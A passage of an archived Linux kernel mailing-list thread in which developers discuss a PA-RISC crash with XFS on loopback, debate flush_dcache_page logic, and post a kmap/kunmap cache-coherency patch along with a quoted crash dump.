	Sat, 4 Jan 2014 14:56:28 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:47494 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754157AbaADT4M (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jan 2014 14:56:12 -0500
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s04JtwTq009601
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sat, 4 Jan 2014 14:55:58 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s04JtvH3024508
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sat, 4 Jan 2014 14:55:57 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s04Jtvqu022059;
	Sat, 4 Jan 2014 14:55:57 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s04JttO2022055;
	Sat, 4 Jan 2014 14:55:55 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <BLU0-SMTP390C5C965F9A4FB18F1EBE97B50@phx.gbl>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5584 gmane.linux.kernel:1622899
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5584>

On Sat, 4 Jan 2014, John David Anglin wrote:

> On 4-Jan-14, at 12:45 PM, Mikulas Patocka wrote:
> 
> > * flush_dcache_page asks for the list of userspace mappings, however that
> > page->mapping field is reused by the slab subsystem for a different
> > purpose. This causes the crash.
> 
> I'd noticed the other day that the parisc implementation of
> flush_dcache_page()
> should return if "!mapping || mapping != page->mapping" is true.  This would
> have avoided crash.
> 
> Dave

I think no.

page_mapping returns NULL if the page has only anonymous mapping and it is 
not placed in the swap cache. In this case, you need to flush the kernel 
cache.

Maybe you could skip cache flush if the page is neither anonymous nor 
file-backed, but I haven't seen this condition in other architectures' 
flush_dcache_page.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Sat, 4 Jan 2014 15:31:13 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <BLU0-SMTP1018039B0747722C9B5B22E97B50@phx.gbl>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com> <BLU0-SMTP390C5C965F9A4FB18F1EBE97B50@phx.gbl> <alpine.LRH.2.02.1401041451350.21108@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1388867514 22336 80.91.229.3 (4 Jan 2014 20:31:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jan 2014 20:31:54 +0000 (UTC)
Cc: Joonsoo Kim <iamjoonsoo.kim@lge.com>,
	Andi Kleen <ak@linux.intel.com>,
	Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@iki.fi>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 04 21:31:59 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VzXt0-0005Xk-Su
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 Jan 2014 21:31:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753656AbaADUbc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Jan 2014 15:31:32 -0500
Original-Received: from blu0-omc1-s24.blu0.hotmail.com ([65.55.116.35]:34513 "EHLO
	blu0-omc1-s24.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753367AbaADUbc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jan 2014 15:31:32 -0500
Original-Received: from BLU0-SMTP101 ([65.55.116.9]) by blu0-omc1-s24.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 4 Jan 2014 12:31:31 -0800
X-TMN: [n7V5YzojJg1Y6MJ6r5DmWggQp6tD8oH6]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.171.205]) by BLU0-SMTP101.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 4 Jan 2014 12:31:30 -0800
In-Reply-To: <alpine.LRH.2.02.1401041451350.21108@file01.intranet.prod.int.rdu2.redhat.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 04 Jan 2014 20:31:30.0329 (UTC) FILETIME=[F3417090:01CF098B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5585 gmane.linux.kernel:1622902
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5585>

On 4-Jan-14, at 2:55 PM, Mikulas Patocka wrote:

> On Sat, 4 Jan 2014, John David Anglin wrote:
>
>> On 4-Jan-14, at 12:45 PM, Mikulas Patocka wrote:
>>
>>> * flush_dcache_page asks for the list of userspace mappings,  
>>> however that
>>> page->mapping field is reused by the slab subsystem for a different
>>> purpose. This causes the crash.
>>
>> I'd noticed the other day that the parisc implementation of
>> flush_dcache_page()
>> should return if "!mapping || mapping != page->mapping" is true.   
>> This would
>> have avoided crash.
>>
>> Dave
>
> I think no.
>
> page_mapping returns NULL if the page has only anonymous mapping and  
> it is
> not placed in the swap cache. In this case, you need to flush the  
> kernel
> cache.


The suggestion is to add the "mapping != page->mapping" to the current  
NULL check.
It occurs after the kernel cache flush.

It doesn't seem right to flush the vma mappings associated with swap  
address space
and that appears to be happening with current code.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Sat, 4 Jan 2014 15:52:14 -0500 (EST)
Lines: 58
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1401041536210.21108@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com> <BLU0-SMTP390C5C965F9A4FB18F1EBE97B50@phx.gbl> <alpine.LRH.2.02.1401041451350.21108@file01.intranet.prod.int.rdu2.redhat.com>
 <BLU0-SMTP1018039B0747722C9B5B22E97B50@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1388868752 1813 80.91.229.3 (4 Jan 2014 20:52:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jan 2014 20:52:32 +0000 (UTC)
Cc: Joonsoo Kim <iamjoonsoo.kim@lge.com>,
	Andi Kleen <ak@linux.intel.com>,
	Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@iki.fi>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 04 21:52:38 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VzYCz-0001OA-QV
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 Jan 2014 21:52:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753552AbaADUwg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Jan 2014 15:52:36 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:9587 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753367AbaADUwf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jan 2014 15:52:35 -0500
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s04KqGq7018842
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sat, 4 Jan 2014 15:52:16 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s04KqFFd005470
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sat, 4 Jan 2014 15:52:16 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s04KqFBI028803;
	Sat, 4 Jan 2014 15:52:15 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s04KqEpn028798;
	Sat, 4 Jan 2014 15:52:14 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <BLU0-SMTP1018039B0747722C9B5B22E97B50@phx.gbl>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5586 gmane.linux.kernel:1622906
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5586>



On Sat, 4 Jan 2014, John David Anglin wrote:

> On 4-Jan-14, at 2:55 PM, Mikulas Patocka wrote:
> 
> > On Sat, 4 Jan 2014, John David Anglin wrote:
> > 
> > > On 4-Jan-14, at 12:45 PM, Mikulas Patocka wrote:
> > > 
> > > > * flush_dcache_page asks for the list of userspace mappings, however
> > > > that
> > > > page->mapping field is reused by the slab subsystem for a different
> > > > purpose. This causes the crash.
> > > 
> > > I'd noticed the other day that the parisc implementation of
> > > flush_dcache_page()
> > > should return if "!mapping || mapping != page->mapping" is true.  This
> > > would
> > > have avoided crash.
> > > 
> > > Dave
> > 
> > I think no.
> > 
> > page_mapping returns NULL if the page has only anonymous mapping and it is
> > not placed in the swap cache. In this case, you need to flush the kernel
> > cache.
> 
> 
> The suggestion is to add the "mapping != page->mapping" to the current NULL
> check.
> It occurs after the kernel cache flush.

"if (!mapping || mapping != page->mapping) return;"
returns if the mapping is NULL (and that is wrong because the variable 
mapping is NULL for anonymous pages).

You could probably return "if (!mapping && !PageAnon(page))", but the 
other architectures aren't doing it.

> It doesn't seem right to flush the vma mappings associated with swap address
> space
> and that appears to be happening with current code.
>
> Dave
> --
> John David Anglin	dave.anglin@bell.net

I suppose that "vma_interval_tree_foreach" is empty operation for swap 
address space. Or isn't it?

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Ensure full cache coherency for kmap/kunmap
Date: Sun, 5 Jan 2014 21:25:00 -0500
Lines: 149
Approved: news@gmane.org
Message-ID: <BLU0-SMTP52D17D9034339F8843CB9D97B70@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-58-498524386"
X-Trace: ger.gmane.org 1388975116 22853 80.91.229.3 (6 Jan 2014 02:25:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jan 2014 02:25:16 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 06 03:25:22 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VzzsX-0003TQ-Cn
	for glpp-linux-parisc@plane.gmane.org; Mon, 06 Jan 2014 03:25:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752164AbaAFCZU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jan 2014 21:25:20 -0500
Original-Received: from blu0-omc4-s17.blu0.hotmail.com ([65.55.111.156]:7210 "EHLO
	blu0-omc4-s17.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751460AbaAFCZT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jan 2014 21:25:19 -0500
Original-Received: from BLU0-SMTP52 ([65.55.111.135]) by blu0-omc4-s17.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 5 Jan 2014 18:25:19 -0800
X-TMN: [kJgsd/FUDT4Fcc2fF3rcKN5Aaj+zOCdV]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.171.205]) by BLU0-SMTP52.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 5 Jan 2014 18:25:17 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 06 Jan 2014 02:25:18.0220 (UTC) FILETIME=[8A7A4CC0:01CF0A86]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5587
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5587>

--Apple-Mail-58-498524386
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

Helge Deller noted a few weeks ago problems with the AIO support on  
parisc.  This change is the
result of numerous iterations on how best to deal with this problem.

The solution adopted here is to provide full cache coherency in a  
uniform manner on all parisc systems.
This involves calling flush_dcache_page() on kmap operations and  
flush_kernel_dcache_page() on
kunmap operations.  As a result, the copy_user_page() and  
clear_user_page() functions can be removed
and the overall code is simpler.

The change ensures that both userspace and kernel aliases to a mapped  
page are invalidated and flushed.
This is necessary for the correct operation of PA8800 and PA8900 based  
systems which do not support
inequivalent aliases.

With this change, I have observed no cache related issues on c8000 and  
rp3440.  It is now possible for example
to do kernel builds with "-j64" on four way systems.

On systems using XFS file systems, the patch recently posted by  
Mikulas Patocka to "fix crash using XFS
on loopback" is needed to avoid a hang caused by an uninitialized lock  
passed to flush_dcache_page()
in the page struct.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---

--Apple-Mail-58-498524386
Content-Disposition: attachment; filename="cache-aio.d.8.txt"
Content-Type: text/plain; x-unix-mode=0644; name="cache-aio.d.8.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index f0e2784..2f9b751 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -125,42 +125,38 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 void mark_rodata_ro(void);
 #endif
 
-#ifdef CONFIG_PA8X00
-/* Only pa8800, pa8900 needs this */
-
 #include <asm/kmap_types.h>
 
 #define ARCH_HAS_KMAP
 
-void kunmap_parisc(void *addr);
-
 static inline void *kmap(struct page *page)
 {
 	might_sleep();
+	flush_dcache_page(page);
 	return page_address(page);
 }
 
 static inline void kunmap(struct page *page)
 {
-	kunmap_parisc(page_address(page));
+	flush_kernel_dcache_page_addr(page_address(page));
 }
 
 static inline void *kmap_atomic(struct page *page)
 {
 	pagefault_disable();
+	flush_dcache_page(page);
 	return page_address(page);
 }
 
 static inline void __kunmap_atomic(void *addr)
 {
-	kunmap_parisc(addr);
+	flush_kernel_dcache_page_addr(addr);
 	pagefault_enable();
 }
 
 #define kmap_atomic_prot(page, prot)	kmap_atomic(page)
 #define kmap_atomic_pfn(pfn)	kmap_atomic(pfn_to_page(pfn))
 #define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
-#endif
 
 #endif /* _PARISC_CACHEFLUSH_H */
 
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index b7adb2a..c53fc63 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -28,9 +28,8 @@ struct page;
 
 void clear_page_asm(void *page);
 void copy_page_asm(void *to, void *from);
-void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
-void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-			   struct page *pg);
+#define clear_user_page(vto, vaddr, page) clear_page_asm(vto)
+#define copy_user_page(vto, vfrom, vaddr, page) copy_page_asm(vto, vfrom)
 
 /* #define CONFIG_PARISC_TMPALIAS */
 
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index c035673..a725455 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -388,41 +388,6 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
-void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
-{
-	clear_page_asm(vto);
-	if (!parisc_requires_coherency())
-		flush_kernel_dcache_page_asm(vto);
-}
-EXPORT_SYMBOL(clear_user_page);
-
-void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-	struct page *pg)
-{
-	/* Copy using kernel mapping.  No coherency is needed
-	   (all in kmap/kunmap) on machines that don't support
-	   non-equivalent aliasing.  However, the `from' page
-	   needs to be flushed before it can be accessed through
-	   the kernel mapping. */
-	preempt_disable();
-	flush_dcache_page_asm(__pa(vfrom), vaddr);
-	preempt_enable();
-	copy_page_asm(vto, vfrom);
-	if (!parisc_requires_coherency())
-		flush_kernel_dcache_page_asm(vto);
-}
-EXPORT_SYMBOL(copy_user_page);
-
-#ifdef CONFIG_PA8X00
-
-void kunmap_parisc(void *addr)
-{
-	if (parisc_requires_coherency())
-		flush_kernel_dcache_page_addr(addr);
-}
-EXPORT_SYMBOL(kunmap_parisc);
-#endif

From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Land <xmechanic@landcomp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Ensure full cache coherency for kmap/kunmap
Date: Sun, 05 Jan 2014 23:25:47 -0700
Lines: 59
Approved: news@gmane.org
Message-ID: <52CA4C6B.5040605@landcomp.net>
References: <BLU0-SMTP52D17D9034339F8843CB9D97B70@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1388989544 22933 80.91.229.3 (6 Jan 2014 06:25:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jan 2014 06:25:44 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>,
	linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 06 07:25:50 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W03dF-0007C2-VQ
	for glpp-linux-parisc@plane.gmane.org; Mon, 06 Jan 2014 07:25:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751336AbaAFGZt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jan 2014 01:25:49 -0500
Original-Received: from landcomp.net ([192.119.43.5]:12241 "HELO landcomp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750875AbaAFGZs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jan 2014 01:25:48 -0500
Original-Received: (qmail 23806 invoked by uid 453); 6 Jan 2014 06:25:48 -0000
Original-Received: from mac-pro.landcomp.net (HELO mac-pro.landcomp.net) (192.168.0.7)
  (smtp-auth username xmechanic@landcomp.net, mechanism plain)
  by landcomp.net (qpsmtpd/0.84) with (AES256-SHA encrypted) ESMTPSA; Sun, 05 Jan 2014 23:25:48 -0700
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <BLU0-SMTP52D17D9034339F8843CB9D97B70@phx.gbl>
X-Virus-Checked: Checked by ClamAV on landcomp.net
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5588
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5588>

On 1/5/14 7:25 PM, John David Anglin wrote:
> Helge Deller noted a few weeks ago problems with the AIO support on
> parisc.  This change is the
> result of numerous iterations on how best to deal with this problem.
>
> The solution adopted here is to provide full cache coherency in a
> uniform manner on all parisc systems.
> This involves calling flush_dcache_page() on kmap operations and
> flush_kernel_dcache_page() on
> kunmap operations.  As a result, the copy_user_page() and
> clear_user_page() functions can be removed
> and the overall code is simpler.
>
> The change ensures that both userspace and kernel aliases to a mapped
> page are invalidated and flushed.
> This is necessary for the correct operation of PA8800 and PA8900 based
> systems which do not support
> inequivalent aliases.
>
> With this change, I have observed no cache related issues on c8000 and
> rp3440.  It is now possible for example
> to do kernel builds with "-j64" on four way systems.
>
> On systems using XFS file systems, the patch recently posted by Mikulas
> Patocka to "fix crash using XFS
> on loopback" is needed to avoid a hang caused by an uninitialized lock
> passed to flush_dcache_page()
> in the page struct.
>
> Signed-off-by: John David Anglin  <dave.anglin@bell.net>
> ---
>
>
> --
> John David Anglin    dave.anglin@bell.net
>
>

Just an FYI for all... I still get the inequivalent aliases messages 
periodically on both my PA8700 machines, and the only tasks they're 
doing at the moment is buildd work, and a LAMP-based website on the 
'hpviz' (J6750), though I haven't seen any of those messages pointing 
toward issues with PHP, Apache2, or MySQL... at least not yet. Hopefully 
this patch will help eliminate the problem on the PA8700 series and 
others. ;-)

Dave L.

-- 
Dave Land
Land Computer Service  xmechanic@landcomp.net
ICQ: 676030523


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joonsoo Kim <iamjoonsoo.kim@lge.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Mon, 6 Jan 2014 16:35:49 +0900
Lines: 131
Approved: news@gmane.org
Message-ID: <20140106073549.GA25771@lge.com>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1388993740 28671 80.91.229.3 (6 Jan 2014 07:35:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jan 2014 07:35:40 +0000 (UTC)
Cc: Andi Kleen <ak@linux.intel.com>, Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@iki.fi>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 06 08:35:46 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W04iu-0007Ck-EL
	for glpp-linux-parisc@plane.gmane.org; Mon, 06 Jan 2014 08:35:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751052AbaAFHfn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jan 2014 02:35:43 -0500
Original-Received: from LGEMRELSE7Q.lge.com ([156.147.1.151]:45313 "EHLO
	LGEMRELSE7Q.lge.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750875AbaAFHfm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jan 2014 02:35:42 -0500
X-AuditID: 9c930197-b7c4aae000003d84-6d-52ca5ccbbc00
Original-Received: from lge.com ( [10.177.222.132])
	by LGEMRELSE7Q.lge.com (Symantec Brightmail Gateway) with SMTP id AE.E0.15748.BCC5AC25; Mon,  6 Jan 2014 16:35:40 +0900 (KST)
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Brightmail-Tracker: AAAAAA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5589 gmane.linux.kernel:1623215
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5589>

On Sat, Jan 04, 2014 at 12:45:45PM -0500, Mikulas Patocka wrote:
> The patch 8456a648cf44f14365f1f44de90a3da2526a4776 causes crash in the
> LVM2 testsuite on PA-RISC (the crashing test is fsadm.sh). The testsuite
> doesn't crash on 3.12, crashes on 3.13-rc1 and later.
> 
>  Bad Address (null pointer deref?): Code=15 regs=000000413edd89a0 (Addr=000006202224647d)
>  CPU: 3 PID: 24008 Comm: loop0 Not tainted 3.13.0-rc6 #5
>  task: 00000001bf3c0048 ti: 000000413edd8000 task.ti: 000000413edd8000
> 
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>  PSW: 00001000000001101111100100001110 Not tainted
>  r00-03  000000ff0806f90e 00000000405c8de0 000000004013e6c0 000000413edd83f0
>  r04-07  00000000405a95e0 0000000000000200 00000001414735f0 00000001bf349e40
